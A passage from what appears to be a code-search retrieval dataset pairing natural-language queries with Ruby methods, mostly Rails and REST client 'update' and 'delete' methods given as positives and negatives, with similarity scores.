"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n uploaded_io = params[:file]\n if !uploaded_io.blank?\n extension=uploaded_io.original_filename.split('.')\n filename= \"#{Time.now.strftime('%Y%m%d%H%M%S')}.#{extension[-1]}\"\n File.open(Rails.root.join('public', 'upload','teachResources',filename), 'wb') do |file|\n file.write(uploaded_io.read)\n end\n params[:lab_teach_resource].merge!(:file=>\"/upload/teachResourcs/#{filename}\")\n end\n @lab_teach_resource = LabTeachResource.find(params[:id])\n\n respond_to do |format|\n if @lab_teach_resource.update_attributes(params[:lab_teach_resource])\n format.html { redirect_to @lab_teach_resource, notice: 'Lab teach resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_teach_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @temp_resource.update(temp_resource_params)\n format.html { redirect_to @temp_resource, notice: 'Temp resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @temp_resource }\n else\n format.html { render :edit }\n format.json { render json: @temp_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def base_update(resource, id, options, format = nil, headers = nil)\n headers ||= {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n headers[:content_type] = \"#{format}\"\n headers[:prefer] = @return_preference if @use_return_preference\n options = {} if options.nil?\n options[:resource] = resource.class\n options[:format] = format\n options[:id] = id\n reply = put resource_url(options), resource, fhir_headers(headers)\n reply.resource = parse_reply(resource.class, format, reply) if reply.body.present?\n reply.resource_class = resource.class\n reply\n end",
"def update\n @asset = Resource.find(params[:id])\n if @asset.update(resource_params)\n redirect_to admin_resource_path(@asset), notice: 'Resource was successfully updated.'\n else\n render action: 'edit'\n end\n end",
"def update\n respond_to do |format|\n if resource.update(params_for_update)\n format.html { redirect_to resource, notice: \"#{resource_class_name} was successfully updated.\" }\n format.json { render :show, status: :ok, location: resource }\n else\n format.html { render :edit }\n format.json { render json: resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_resource.update(admin_resource_params)\n format.html { redirect_to @admin_resource, notice: 'Admin resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_resource }\n else\n format.html { render :edit }\n format.json { render json: @admin_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(attributes = {})\n set_all(attributes)\n ensure_client && ensure_uri\n response = @client.rest_put(@data['uri'], { 'Accept-Language' => 'en_US', 'body' => @data }, @api_version)\n @client.response_handler(response)\n self\n end",
"def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end",
"def update\n if params[:resource][:document].present?\n @resource.document.purge\n @resource.document.attach(params[:resource][:document])\n end\n if params[:resource][:sample].present?\n @resource.sample.purge\n @resource.sample.attach(params[:resource][:sample])\n end\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(attributes = {})\n set_all(attributes)\n ensure_client && ensure_uri\n response = @client.rest_put(@data['uri'], { 'Accept-Language' => 'en_US', 'body' => @data }, @api_version)\n @client.response_handler(response)\n self\n end",
"def update!(**args)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @uri = args[:uri] if args.key?(:uri)\n end",
"def update(resource, attributes = {})\n resource.client = self\n resource.update(attributes)\n end",
"def update\n begin\n @resource = Entity.find params[:id]\n @resource.update_attributes! params[:entity]\n render :response => :PUT\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def update\n updated_resource = update_resource(resource, resource_params)\n if updated_resource.errors.blank?\n head :no_content\n else\n render json: serialize_invalid_attributes(updated_resource.errors),\n status: :unprocessable_entity\n end\n end",
"def update\n params[:resource][:term_ids] || []\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fundamental_resource_pool = Fundamental::ResourcePool.find(params[:id])\n\n respond_to do |format|\n if @fundamental_resource_pool.update_attributes(params[:fundamental_resource_pool])\n format.html { redirect_to @fundamental_resource_pool, notice: 'Resource pool was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fundamental_resource_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n self.resource = find_resource\n \n respond_to do |format|\n if resource.update_attributes(params[resource_name])\n format.html do\n flash[:notice] = \"#{resource_name.humanize} was successfully updated.\"\n redirect_to challenge_attempt_path(resource.challenge, resource)\n end\n format.js\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.js { render :action => \"edit\" }\n format.xml { render :xml => resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n params[:toolkit_resource][:link_good] = true\n respond_to do |format|\n if @toolkit_resource.update_attributes(toolkit_resource_params)\n format.html { redirect_to([:admin, @toolkit_resource], notice: 'Toolkit resource was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated toolkit resource: #{@toolkit_resource.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @toolkit_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def save_resource\n resource.save\n end"
] |
[
"0.69357383",
"0.69275326",
"0.688172",
"0.68410254",
"0.68391937",
"0.68375593",
"0.67935365",
"0.6768655",
"0.6768655",
"0.67604905",
"0.67561096",
"0.6727665",
"0.6712872",
"0.66921514",
"0.66727555",
"0.66365135",
"0.66365135",
"0.66297424",
"0.66297424",
"0.66293293",
"0.66055244",
"0.6575786",
"0.65753824",
"0.65682554",
"0.65672123",
"0.65536195",
"0.6549838",
"0.65488654",
"0.65488654",
"0.65430164",
"0.6518712",
"0.65079254",
"0.65054995",
"0.64954305",
"0.64610875",
"0.6450447",
"0.6449015",
"0.6432526",
"0.6426199",
"0.6426199",
"0.6423026",
"0.64192015",
"0.64186317",
"0.6413392",
"0.6412863",
"0.6412863",
"0.6391426",
"0.6367731",
"0.63651186",
"0.6351093",
"0.6350418",
"0.6349516",
"0.6349347",
"0.6344476",
"0.63375086",
"0.63371545",
"0.6334925",
"0.6332502",
"0.63253975",
"0.63199013",
"0.6315543",
"0.6313698",
"0.63116616",
"0.6309511",
"0.63074887",
"0.6306875",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63029975",
"0.63014555"
] |
0.0
|
-1
|
Method for deleting resource/resources. Uses HTTP DELETE to localhost
|
def deleteResource(doc, msg_from)
begin
puts "Deleting"
path = ""
params = {}
headers = {}
context, path = findContext(doc, path)
# Deleting member from group
if context == :user_group_member
params = {}
else
raise Exception.new("No context given!")
end
httpAndNotify(path, params, msg_from, :delete)
rescue Exception => e
puts "Problem in parsing data (CREATE) from xml or sending http request to the VR server: " + e
puts " -- line: #{e.backtrace[0].to_s}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end",
"def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete\n @resource.delete\n end",
"def delete\n request(:delete)\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete!\n connection.delete(\n path: resource_path,\n status: 204\n ).data\n end",
"def destroy\n destroy_resource(resource)\n head :no_content\n end",
"def delete(params = {})\n Client.current.delete(resource_url, params)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete!\n @resource.delete!\n end",
"def delete\n delete_from_server single_url\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete(resource, **params)\n\n execute(Net::HTTP::Delete, 'DELETE', resource, **params)\n\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.delete do |req|\n req.url resource_uri\n end\n if res.success?\n data = JSON.parse(res.body)\n reload\n else\n nil\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to @resource.host, notice: 'Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_resources_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def delete(resource)\n headers = base_headers.merge('Content-Type' => 'application/json')\n url = \"#{@base_url}/#{resource}\"\n\n @logger.debug(\"DELETE request Url: #{url}\")\n @logger.debug(\"-- Headers: #{headers}\")\n\n x = HTTParty.delete(url, headers: headers)\n puts x.inspect\n x\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def delete!\n request! :delete\n end",
"def delete\n api_client.delete(url)\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end",
"def destroy; delete end",
"def delete(resource)\n proxy(method: :delete, url: url_for(resource))\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n flash[:notice] = 'Resource was successfully deleted.'\n redirect_to resources_url\n end",
"def delete(resource_path, headers: {}, prefix: API_PREFIX)\n request(method: :delete, resource_path: resource_path, headers: headers, prefix: prefix)\n end",
"def destroy\n\t\tif Rails.env.production?\n\t\t\tRestClient.patch(\"https://lensshift-drive.firebaseio.com/resources_deleted/#{@resource_item.google_doc_id}.json\", @resource_item.to_json)\n\t\t\tRestClient.delete(\"https://lensshift-drive.firebaseio.com/resources/#{@resource_item.google_doc_id}.json\")\n\t\tend\n\t\t@resource_item.destroy\n\t respond_to do |format|\n\t format.html { redirect_to fellow_resource_items_url, notice: 'Resource item was successfully destroyed.' }\n\t format.json { head :no_content }\n\t end\n\tend",
"def delete(url, resource_name, options = {})\n build_response(resource_name) do\n connection.delete do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end",
"def destroy\n RubyLokaliseApi::Generics::DeletedResource.new(\n reinit_endpoint.do_delete.content\n )\n end",
"def delete\n request('delete').auth_required!\n end",
"def delete\n\n end",
"def delete\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n \n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n format.js\n end\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def delete\n destroy\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete\n ensure_client && ensure_uri\n response = @client.rest_delete(@data['uri'], { 'Accept-Language' => 'en_US' }, @api_version)\n @client.response_handler(response)\n true\n end",
"def delete(path, request_options = {}, resource_options = {})\n response(:delete, resource(resource_options)[path], request_options)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n destroy\n end",
"def delete\n destroy\n end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url, notice: 'Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url, notice: 'Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url, notice: 'Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url, notice: 'Resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n end",
"def destroy\n @serv = Serv.find(params[:id])\n if @serv.mngbl\n #Remueve el MR a través de una llamada al webservice del núcleo\n http = Net::HTTP.new(\"192.168.119.163\",9999)\n post_params = {'ip' => @serv.conn.ip, 'port' => @serv.conn.port}\n request = Net::HTTP::Delete.new(\"/mbs/#{@serv.domain}/#{@serv.name}\")\n request.set_form_data(post_params)\n begin\n response = http.request(request)\n rescue Errno::ECONNREFUSED\n end\n end\n @serv.destroy\n\n respond_to do |format|\n format.html { redirect_to servs_url, notice: t('servs.delete.notice') }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers={})\n RestClient.delete url, headers\n end",
"def delete(uri)\r\n request(Net::HTTP::Delete.new(uri)) \r\n end",
"def delete\n end",
"def destroy\n @resources_data = ResourcesData.find(params[:id])\n @resources_data.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_datas_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def destroy\n @online_resource = OnlineResource.find(params[:id])\n @online_resource.destroy\n\n respond_to do |format|\n format.html { redirect_to online_resources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n \n respond_to do |format|\n if @resource.destroy\n flash[:success] = 'Resource was removed'\n format.html { redirect_to admin_resources_path }\n format.json { head :ok }\n else\n flash[:error] = @resource.errors.full_messages.join('')\n format.html { redirect_to admin_resources_path(@resource.id) }\n format.json { render json: @resource.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def do_delete(uri = '')\n build_request(:delete, uri)\n end",
"def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def delete\n \n end",
"def destroy\n @dco_resource.destroy\n respond_to do |format|\n format.html { redirect_to dco_resources_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.8035308",
"0.8035308",
"0.8000145",
"0.8000145",
"0.8000145",
"0.8000145",
"0.79449946",
"0.79022586",
"0.7855769",
"0.78429794",
"0.7739762",
"0.76964545",
"0.766878",
"0.76525885",
"0.76525885",
"0.7582538",
"0.7556191",
"0.7556191",
"0.7555317",
"0.75451154",
"0.7536944",
"0.7524996",
"0.74689305",
"0.7449421",
"0.74473214",
"0.7426733",
"0.7426733",
"0.7426733",
"0.7418313",
"0.7399556",
"0.739927",
"0.739549",
"0.7374221",
"0.7370635",
"0.7370635",
"0.7370635",
"0.7370635",
"0.7368167",
"0.7360074",
"0.73566365",
"0.73208886",
"0.7293892",
"0.7293892",
"0.72912973",
"0.7268915",
"0.7257431",
"0.72514045",
"0.7250469",
"0.7244698",
"0.7241419",
"0.72337717",
"0.72268444",
"0.72214043",
"0.72127104",
"0.719749",
"0.7193572",
"0.7185124",
"0.7184039",
"0.7170856",
"0.71666616",
"0.7162579",
"0.71562034",
"0.71543586",
"0.71410817",
"0.7135572",
"0.71270835",
"0.71176594",
"0.71157914",
"0.7108622",
"0.7105975",
"0.7101379",
"0.7101379",
"0.70854557",
"0.70842063",
"0.70842063",
"0.70842063",
"0.70842063",
"0.70842063",
"0.70842063",
"0.70842063",
"0.70720834",
"0.70720834",
"0.7055369",
"0.70478207",
"0.70478207",
"0.70478207",
"0.70478207",
"0.704569",
"0.7040828",
"0.70279616",
"0.70214516",
"0.70185614",
"0.701183",
"0.70062757",
"0.700074",
"0.6988148",
"0.6980187",
"0.69776607",
"0.6971049",
"0.69708306",
"0.6970767"
] |
0.0
|
-1
|
Finds context from xml, adds parts to path and returns the both results
|
def findContext(doc, path)
context = nil
# If user-element is given -> context is user-based, otherwise context is system-based
if doc.find_first('//xmpp2rest/user')
puts "User context"
username = (doc.find_first('//xmpp2rest/user').attributes.get_attribute("username")) ? doc.find_first('//xmpp2rest/user').attributes.get_attribute("username").value : nil
# If username not found -> malformed uri
if not username
raise Exception.new("Malformed path: /user, use /user/<username> instead!")
else
path += "/user/#{username}"
puts "..user"
context = :user
end
# Group-context
if doc.find_first('//xmpp2rest/user/group')
puts "..group"
groupname = (doc.find_first('//xmpp2rest/user/group').attributes.get_attribute("groupname")) ? doc.find_first('//xmpp2rest/user/group').attributes.get_attribute("groupname").value : nil
# If group-context is given, but groupname not found -> malformed uri
if not groupname
raise Exception.new("Malformed path: ../group, use /group/<groupname> instead!")
elsif doc.find_first('//xmpp2rest/user/group/user')
membername = (doc.find_first('//xmpp2rest/user/group/user').attributes.get_attribute("username")) ? doc.find_first('//xmpp2rest/user/group/user').attributes.get_attribute("username").value : nil
if not membername
raise Exception.new("Malformed path: ../member, use ..member/<username> instead!")
end
puts "..member"
path += "/group/#{groupname}/member/#{membername}"
context = :user_group_member
else
path += "/group/#{groupname}"
context = :user_group
end
end
# Device-context
if doc.find_first('//xmpp2rest/user/device')
puts "..device"
devicename = (doc.find_first('//xmpp2rest/user/device').attributes.get_attribute("devicename")) ? doc.find_first('//xmpp2rest/user/device').attributes.get_attribute("devicename").value : nil
# If device-context is given, but devicename not found -> malformed uri
if not devicename
raise Exception.new("Malformed path: ../device, use ../device/<devicename> instead!")
else
path += "/device/#{devicename}"
context = :user_device
end
end
end
return context, path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def import_xml_common(ent, node)\n REXML::XPath.each(node, \"./ctx:identifier\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"}) do |id|\n ent.add_identifier(id.get_text.value) if id and id.has_text?\n end\n\n priv = REXML::XPath.first(node, \"./ctx:private-data\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n ent.set_private_data(priv.get_text.value) if priv and priv.has_text?\n\n ref = REXML::XPath.first(node, \"./ctx:metadata-by-ref\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n if ref\n reference = {}\n ref.to_a.each do |r|\n if r.name == \"format\"\n reference[:format] = r.get_text.value if r.get_text\n else\n reference[:location] = r.get_text.value\n end\n end\n ent.set_reference(reference[:location], reference[:format])\n end\n end",
"def on_path(ast_node, context)\n nodes = XML::NodeSet.new\n\n ast_node.children.each do |test|\n nodes = process(test, context)\n\n if nodes.empty?\n break\n else\n context = nodes\n end\n end\n\n return nodes\n end",
"def on_absolute_path(ast_node, context)\n if @document.respond_to?(:root_node)\n context = XML::NodeSet.new([@document.root_node])\n else\n context = XML::NodeSet.new([@document])\n end\n\n # If the expression is just \"/\" we'll just return the current context.\n return ast_node.children.empty? ? context : on_path(ast_node, context)\n end",
"def xml_path(xml, path = [])\n path << xml.name if xml.is_a?(Nokogiri::XML::Element)\n unless xml.children.empty?\n xml_path(xml.children.first, path)\n end\n return path\nend",
"def extract_from_relative_xpath(mods_node, template_node, xpath)\n values = {}\n mods_xpath_node = mods_node.at_xpath(xpath)\n return {} if mods_xpath_node == nil\n template_xpath_node = template_node.at_xpath(xpath)\n values.merge!(extract_self_value(mods_xpath_node, template_xpath_node))\n values.merge!(extract_attributes(mods_xpath_node, template_xpath_node))\n end",
"def parse_context(path)\n path.chop! if path[-1] == '/'\n if path =~ %r{^/(.+)$}\n $1\n else\n ''\n end\n end",
"def xpathall(path,xml)\n r=[]\n XPath.each(xml,path){|x|r<<x}\n r\nend\n",
"def setup\n xml_results = <<BEGIN\n <search:response total=\"2\" start=\"1\" page-length=\"10\" xmlns:search=\"http://marklogic.com/appservices/search\">\n <search:result index=\"1\" uri=\"/documents/discoverBook.xml\" path=\"fn:doc('/documents/discoverBook.xml')\" score=\"243\" confidence=\"0.97047\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:bookinfo/*:title\">Discoverers <search:highlight>and</search:highlight> Explorers</search:match>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:chapter[1]/*:chapterinfo/*:biblioentry/*:title\">Discoverers <search:highlight>and</search:highlight> Explorers</search:match>\n </search:snippet>\n </search:result>\n <search:result index=\"2\" uri=\"/documents/a_and_c.xml\" path=\"fn:doc('/documents/a_and_c.xml')\" score=\"234\" confidence=\"0.952329\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/a_and_c.xml')/PLAY/PERSONAE/PERSONA[10]\">Officers, Soldiers, Messengers, <search:highlight>and</search:highlight> other Attendants.</search:match>\n </search:snippet>\n </search:result>\n <search:qtext>and</search:qtext>\n <search:metrics>\n <search:query-resolution-time>PT0.009197S</search:query-resolution-time>\n <search:facet-resolution-time>PT0.000083S</search:facet-resolution-time>\n <search:snippet-resolution-time>PT0.019534S</search:snippet-resolution-time>\n <search:total-time>PT0.029033S</search:total-time>\n </search:metrics>\n</search:response>\nBEGIN\n\n xml_results_noh = <<BEGIN\n <search:response total=\"2\" start=\"1\" page-length=\"10\" xmlns:search=\"http://marklogic.com/appservices/search\">\n <search:result index=\"1\" uri=\"/documents/discoverBook.xml\" path=\"fn:doc('/documents/discoverBook.xml')\" score=\"243\" confidence=\"0.97047\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:bookinfo/*:title\">Discoverers and Explorers</search:match>\n <search:match path=\"fn:doc('/documents/discoverBook.xml')/*:book/*:chapter[1]/*:chapterinfo/*:biblioentry/*:title\">Discoverers and Explorers</search:match>\n </search:snippet>\n </search:result>\n <search:result index=\"2\" uri=\"/documents/a_and_c.xml\" path=\"fn:doc('/documents/a_and_c.xml')\" score=\"234\" confidence=\"0.952329\" fitness=\"1\">\n <search:snippet>\n <search:match path=\"fn:doc('/documents/a_and_c.xml')/PLAY/PERSONAE/PERSONA[10]\">Officers, Soldiers, Messengers, and other Attendants.</search:match>\n </search:snippet>\n </search:result>\n <search:qtext>and</search:qtext>\n <search:metrics>\n <search:query-resolution-time>PT0.009197S</search:query-resolution-time>\n <search:facet-resolution-time>PT0.000083S</search:facet-resolution-time>\n <search:snippet-resolution-time>PT0.019534S</search:snippet-resolution-time>\n <search:total-time>PT0.029033S</search:total-time>\n </search:metrics>\n</search:response>\nBEGIN\n\n results_with_facets = <<-BEGIN\n<search:response total=\"21973\" start=\"1\" page-length=\"10\" xmlns:search=\"http://marklogic.com/appservices/search\">\n <search:result index=\"9\" uri=\"/Users/clarkrichey/Downloads/wits/wits21402.xml\" path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits21402.xml")\" score=\"196\" confidence=\"0.338805\" fitness=\"0.890659\">\n <search:snippet>\n <search:match path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits21402.xml")/*:Incident/*:Subject\">1 newspaper editor injured in letter <search:highlight>bomb</search:highlight> attack by Informal Anarchist Federation in Turin, Piemonte, Italy</search:match>\n <search:match path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits21402.xml")/*:Incident/*:EventTypeList\">\n<search:highlight>Bombing</search:highlight>\n</search:match>\n <search:match path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits21402.xml")/*:Incident/*:WeaponTypeList/*:WeaponType\">Letter <search:highlight>Bomb</search:highlight></search:match>\n </search:snippet>\n </search:result>\n <search:result index=\"10\" uri=\"/Users/clarkrichey/Downloads/wits/wits23118.xml\" path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits23118.xml")\" score=\"196\" confidence=\"0.338805\" fitness=\"0.890659\">\n <search:snippet>\n <search:match path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits23118.xml")/*:Incident/*:Subject\">1 government employee killed in <search:highlight>bombing</search:highlight> in Ghazni, Afghanistan</search:match>\n <search:match path=\"fn:doc("/Users/clarkrichey/Downloads/wits/wits23118.xml")/*:Incident/*:EventTypeList\">\n<search:highlight>Bombing</search:highlight>\n</search:match>\n </search:snippet>\n </search:result>\n <search:facet name=\"Region\">\n <search:facet-value name=\"Africa\" count=\"622\">Africa</search:facet-value>\n 